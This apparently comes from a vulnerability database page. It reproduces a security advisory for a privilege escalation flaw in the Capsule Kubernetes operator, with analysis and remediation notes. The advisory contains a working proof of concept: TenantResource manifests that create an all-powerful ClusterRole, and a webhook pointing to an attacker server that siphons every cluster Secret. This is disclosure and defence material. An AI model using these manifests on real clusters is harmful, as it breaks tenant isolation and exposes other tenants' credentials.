Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3DescriptionGitHub Advisory
TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability
Summary
The Capsule Controller runs with cluster-admin privileges. Although the TenantResource RawItems processing logic forcibly sets the namespace, this is ineffective for cluster-scoped resources. Tenant administrators can leverage the Controller's elevated privileges to create cluster-scoped resources (such as ClusterRole and ValidatingWebhookConfiguration) that they cannot create directly, achieving cross-tenant privilege escalation and cluster-level attacks.
---
Details
Vulnerability Location
File: internal/controllers/resources/processor.go Function: HandleSection() Lines: 247-285
Core Issues
- Excessive Controller Privileges: The Controller's ServiceAccount is bound to the cluster-admin ClusterRole
# ClusterRoleBinding: capsule-manager-rolebinding
roleRef:
kind: ClusterRole
name: cluster-admin- Missing Resource Scope Validation: Although the code calls
obj.SetNamespace(ns.Name), this is ineffective for cluster-scoped resources (ClusterRole, ValidatingWebhookConfiguration, etc.), as the Kubernetes API ignores this field - Missing Resource Type Validation: No check for whether resources are cluster-scoped
Vulnerable Code Analysis
// internal/controllers/resources/processor.go
for rawIndex, item := range spec.RawItems {
template := string(item.Raw)
t := fasttemplate.New(template, "{{ ", " }}")
tmplString := t.ExecuteString(map[string]interface{}{
"tenant.name": tnt.Name,
"namespace": ns.Name,
})
obj, keysAndValues := unstructured.Unstructured{}, []interface{}{"index", rawIndex}
// Issue 1: Accepts any resource type, including cluster-scoped resources
if _, _, decodeErr := codecFactory.UniversalDeserializer().Decode(
[]byte(tmplString), nil, &obj); decodeErr != nil {
log.Error(decodeErr, "unable to deserialize rawItem", keysAndValues...)
syncErr = errors.Join(syncErr, decodeErr)
continue
}
// Issue 2: For cluster-scoped resources, this setting is ignored by API
obj.SetNamespace(ns.Name)
// Issue 3: Controller creates with cluster-admin privileges, no scope check
if rawErr := r.createOrUpdate(ctx, &obj, objLabels, objAnnotations); rawErr != nil {
log.Info("unable to sync rawItem", keysAndValues...)
syncErr = errors.Join(syncErr, rawErr)
}
}Attack Chain
Tenant Owner (bob) - Has TenantResource creation permission
↓
Creates TenantResource containing cluster-scoped resources
↓
Capsule Controller (cluster-admin) processes RawItems
↓
obj.SetNamespace() ignored by Kubernetes API (cluster-scoped resources have no namespace)
↓
Successfully creates cluster-scoped resources (ClusterRole, ValidatingWebhook, etc.)
↓
Cross-tenant privilege escalation / Cluster-level attacks---
PoC
Environment Setup
Test Environment: Kubernetes 1.27+ cluster (verified using Kind cluster)
Step 1: Verify Capsule Controller Privileges
kubectl get clusterrolebinding capsule-manager-rolebinding -o yamlConfirm output contains:
roleRef:
kind: ClusterRole
name: cluster-admin
# Controller has full cluster management privilegesStep 2: Install Capsule and Create Test Tenant
Complete Capsule installation and tenant creation following previous environment setup steps.
Step 3: Verify bob's Permission Restrictions
Verify bob can create TenantResource:
kubectl auth can-i create tenantresources --as bob --as-group projectcapsule.dev -n tenant-b-ns1Actual output:
yesVerify bob cannot create ClusterRole:
kubectl auth can-i create clusterroles --as bob --as-group projectcapsule.devActual output:
Warning: resource 'clusterroles' is not namespace scoped in group 'rbac.authorization.k8s.io'
noVerify bob cannot create ValidatingWebhook:
kubectl auth can-i create validatingwebhookconfigurations --as bob --as-group projectcapsule.devActual output:
Warning: resource 'validatingwebhookconfigurations' is not namespace scoped in group 'admissionregistration.k8s.io'
noAttack Vector 1: Creating Malicious ClusterRole
Step 4: Create TenantResource Containing ClusterRole
Create file attack-clusterrole.yaml:
apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata:
name: create-clusterrole
namespace: tenant-b-ns1
spec:
resyncPeriod: 60s
resources:
- namespaceSelector:
matchLabels:
capsule.clastix.io/tenant: tenant-b
rawItems:
- apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: malicious-clusterrole
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]Apply configuration as bob user (critical - must specify executor):
kubectl apply -f attack-clusterrole.yaml --as bob --as-group projectcapsule.devActual output:
tenantresource.capsule.clastix.io/create-clusterrole createdImportant: The --as bob --as-group projectcapsule.dev parameters are crucial for proving that bob (not the cluster admin) is executing this attack.
Step 5: Verify ClusterRole Creation
kubectl get clusterrole malicious-clusterroleActual output:
NAME CREATED AT
malicious-clusterrole 2026-01-05T16:10:02ZView details:
kubectl get clusterrole malicious-clusterrole -o yamlKey output:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
annotations:
capsule.clastix.io/tenant: tenant-b
name: malicious-clusterrole
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]Verification Successful: bob cannot directly create ClusterRole, but successfully created a cluster-scoped ClusterRole with all permissions through TenantResource.
Step 6: Exploit ClusterRole for Cross-Tenant Attack
Now bob can create a ClusterRoleBinding binding this ClusterRole to gain cluster-level privileges:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: bob-cluster-admin
subjects:
- kind: User
name: bob
apiGroup: rbac.authorization.k8s.io
roleRef:
kind: ClusterRole
name: malicious-clusterrole
apiGroup: rbac.authorization.k8s.ioAfter applying, bob will have full cluster management privileges and can access resources of all tenants.
Attack Vector 2: Creating Malicious ValidatingWebhook
Step 7: Create TenantResource Containing Webhook
Create file attack-webhook.yaml:
apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata:
name: create-webhook
namespace: tenant-b-ns1
spec:
resyncPeriod: 60s
resources:
- namespaceSelector:
matchLabels:
capsule.clastix.io/tenant: tenant-b
rawItems:
- apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingWebhookConfiguration
metadata:
name: malicious-webhook
webhooks:
- name: malicious.webhook.com
clientConfig:
url: "https://attacker-controlled-server.com/webhook"
rules:
- operations: ["CREATE", "UPDATE"]
apiGroups: [""]
apiVersions: ["v1"]
resources: ["secrets"]
admissionReviewVersions: ["v1"]
sideEffects: None
failurePolicy: IgnoreApply configuration as bob user:
kubectl apply -f attack-webhook.yaml --as bob --as-group projectcapsule.devActual output:
tenantresource.capsule.clastix.io/create-webhook createdStep 8: Verify Webhook Creation
kubectl get validatingwebhookconfiguration malicious-webhookActual output:
NAME WEBHOOKS AGE
malicious-webhook 1 5sVerification Successful: bob cannot directly create Webhook, but successfully created a cluster-scoped ValidatingWebhookConfiguration through TenantResource.
Step 9: Exploit Webhook to Steal Sensitive Data
At this point, whenever any user in the cluster creates or updates a Secret, the Kubernetes API Server will call the attacker-controlled webhook server, sending an AdmissionReview request containing the complete Secret content. The attacker can:
- Steal Secret data from all tenants (database passwords, API keys, etc.)
- Modify Secret contents
- Deny legitimate Secret creation requests, achieving DoS attacks
---
Impact
Affected Scope
This vulnerability affects all Capsule deployments with the following prerequisites:
- Capsule Controller runs with cluster-admin privileges (default configuration)
- Tenant Owner has permission to create TenantResource
Security Impact
- Cross-Tenant Privilege Escalation
- Create ClusterRole to gain cluster-level privileges
- Break tenant isolation boundaries
- Access all resources of other tenants
- Large-Scale Sensitive Data Theft
- Intercept all Secret creation/update requests through malicious Webhook
- Steal passwords, API keys, certificates, etc. across the entire cluster
- Real-time monitoring of all tenant sensitive operations
- Cluster-Level Denial of Service
- Deny all API requests through Webhook
- Make the entire cluster unavailable
- Impact all tenants
- Cluster Pollution
- Create malicious CRDs
- Modify StorageClass
- Impact cluster stability
- Persistent Backdoor
- Created cluster-scoped resources persist
- Even if TenantResource is deleted, ClusterRole and other resources remain
- Difficult to detect and remove
Limiting Factors
- Requires Tenant Owner privileges
- Requires Capsule Controller running with cluster-admin privileges (default configuration)
- Some clusters may have additional admission controllers blocking malicious resources
AnalysisAI
Privilege escalation in Capsule (the Kubernetes multi-tenancy operator) allows authenticated tenant owners to create cluster-scoped resources - including ClusterRole and ValidatingWebhookConfiguration - by embedding them in TenantResource RawItems, bypassing tenant isolation enforced by the platform. The Capsule Controller's default cluster-admin ClusterRoleBinding means it creates whatever resource it is instructed to process, and its attempt to namespace-scope the resource via obj.SetNamespace() is silently ignored by the Kubernetes API for cluster-scoped kinds. A working proof-of-concept is publicly documented in the GHSA advisory; no CISA KEV listing has been issued at time of analysis.
Technical ContextAI
Capsule is a Kubernetes operator (pkg:go/github.com_projectcapsule_capsule) that provides multi-tenancy primitives, including TenantResource objects that allow tenant owners to template and replicate resources across their namespaces. The vulnerable code path is in internal/controllers/resources/processor.go, function HandleSection() (lines 247-285). The root cause is CWE-20 (Improper Input Validation): the RawItems loop deserializes arbitrary user-supplied YAML/JSON using codecFactory.UniversalDeserializer().Decode() with no check on whether the resulting resource is namespace-scoped or cluster-scoped. The subsequent obj.SetNamespace(ns.Name) call is a non-functional guard - for cluster-scoped Kubernetes resource kinds (ClusterRole, ValidatingWebhookConfiguration, CRD, StorageClass, etc.), the Kubernetes API server discards the metadata.namespace field entirely. The Controller's ServiceAccount is bound to the cluster-admin ClusterRole via the capsule-manager-rolebinding ClusterRoleBinding by default, so createOrUpdate() succeeds for any resource kind the API server accepts.
RemediationAI
The primary fix is to upgrade Capsule to version 0.13.0 or later, available at https://github.com/projectcapsule/capsule/releases/tag/v0.13.0. Version 0.13.0 addresses this vulnerability by validating resource scope in the RawItems processing loop so that cluster-scoped resource kinds are rejected before the Controller attempts to create them. As an immediate compensating control, the vendor recommends enabling Impersonation mode for TenantResources (documented at projectcapsule.dev/docs/replications/tenant/#impersonation), which causes the Controller to act under the tenant user's own identity rather than cluster-admin when creating resources - this means cluster-scoped resource creation will fail with a permission denied error as expected. The trade-off of the impersonation workaround is that tenant replication of legitimately needed resources may require explicit RBAC grants. Additionally, platform administrators can deploy a Kyverno or OPA Gatekeeper policy to block creation of TenantResource objects whose rawItems contain cluster-scoped kinds as a defense-in-depth measure. Operators should also audit existing cluster-scoped resources for unexpected Capsule annotations (capsule.clastix.io/tenant) to detect resources already created via this vector.
More in Kubernetes
View allA critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c
Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne
The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4
Kyverno Kubernetes policy engine prior to 1.x has a privilege escalation vulnerability (CVSS 9.9) allowing policy bypass
Kamaji is the Hosted Control Plane Manager for Kubernetes. Rated critical severity (CVSS 9.9), this vulnerability is rem
Jumpserver is a popular open source bastion host, and Koko is a Jumpserver component that is the Go version of coco, ref
String filter bypass in Inspektor Gadget Kubernetes eBPF tooling before fix. Insufficient string escaping enables filter
Same weakness CWE-20 – Improper Input Validation
View allSame technique Privilege Escalation
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-33729
GHSA-qjjm-7j9w-pw72